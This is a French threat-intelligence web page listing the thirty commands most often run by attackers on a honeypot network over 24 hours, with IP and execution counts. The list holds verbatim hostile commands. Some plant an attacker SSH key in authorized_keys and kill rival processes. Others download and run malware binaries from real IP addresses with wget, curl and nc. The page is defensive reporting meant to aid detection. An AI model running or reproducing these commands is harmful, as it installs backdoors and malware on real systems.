TROYANOSYVIRUS

Commandes Executees

Analyse en temps reel des commandes les plus executees par les attaquants apres avoir obtenu l'acces au systeme. Donnees collectees depuis notre reseau mondial de honeypots au cours des dernieres 24 heures.

4,093 commandes en 24h

Top Commandes Executees

1.
$lockr -ia .ssh
170 IPs204x
2.
$cd ~; chattr -ia .ssh; lockr -ia .ssh
170 IPs204x
3.
$cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
167 IPs201x
4.
$Enter new UNIX password:
87 IPs192x
5.
$uname -a
156 IPs185x
6.
$lscpu | grep Model
149 IPs178x
7.
$cat /proc/cpuinfo | grep model | grep name | wc -l
149 IPs178x
8.
$df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
149 IPs178x
9.
$uname -m
149 IPs177x
10.
$top
148 IPs177x
11.
$which ls
148 IPs177x
12.
$uname
148 IPs177x
13.
$ls -lh $(which ls)
148 IPs177x
14.
$w
148 IPs177x
15.
$free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
148 IPs177x
16.
$whoami
148 IPs177x
17.
$cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
147 IPs176x
18.
$crontab -l
147 IPs175x
19.
$cat /proc/cpuinfo | grep name | wc -l
147 IPs174x
20.
$rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
73 IPs79x
21.
$cd /data/local/tmp;mkdir .p 2>/dev/null;cd .p;(wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||busybox wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||curl -so b http://196.251.107.133/bins/parm7 2>/dev/null||toybox wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null);chmod 777 b 2>/dev/null;(su 0 ./b adb||./b adb) 2>/dev/null;rm -f b;(wget -qO b http://196.251.107.133/bins/parm5 2>/dev/null||busybox wget -qO b http://196.251.107.133/bins/parm5 2>/dev/null||curl -so b ht
1 IPs56x
22.
$/bin/./uname -s -v -n -r -m
12 IPs39x
23.
$echo hello
4 IPs19x
24.
$cd /data/local/tmp/; busybox wget http://176.65.139.11/wget.sh; sh wget.sh; curl http://176.65.139.11/wget.sh -o wget.sh; sh wget.sh; wget http://176.65.139.11/wget.sh; sh wget.sh
1 IPs17x
25.
$for dir in /data/local/tmp /tmp /sdcard /mnt/sdcard /storage/emulated/0 /data/cache /dev/shm; do cd $dir && (nc 94.156.152.67 8081 > flexoiu 2>/dev/null || nc -w 30 94.156.152.67 8081 > flexoiu 2>/dev/null) && chmod 777 flexoiu && ./flexoiu & done
1 IPs13x
26.
$cd /data/local/tmp && nc 94.156.152.67 8081 > app.apk && pm install -r app.apk && am start -n com.snowrider.game/.SnowRiderActivity && rm app.apk
1 IPs9x
27.
$cd /data/local/tmp && nc 94.156.152.67 8081 > flexoiu && chmod 777 flexoiu && ./flexoiu
1 IPs8x
28.
$curl2
1 IPs7x
29.
$uname -s -v -n -r -m
6 IPs7x
30.
$cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps
1 IPs7x

Reconnaissance

Commandes pour collecter des informations systeme (uname, whoami, cat /etc/passwd)

Telechargement

Commandes pour telecharger des malwares (wget, curl, tftp)

Persistance

Commandes pour maintenir l'acces (crontab, chmod, chattr)

Mouvement Lateral

Commandes pour se propager dans le reseau (ssh, scp, ping)

A propos de ces donnees

Ces commandes sont capturees en temps reel lorsque les attaquants obtiennent acces a nos honeypots. Elles representent les techniques reelles utilisees dans les attaques automatisees et manuelles. Utilisez ces informations pour ameliorer votre detection des menaces et votre reponse aux incidents.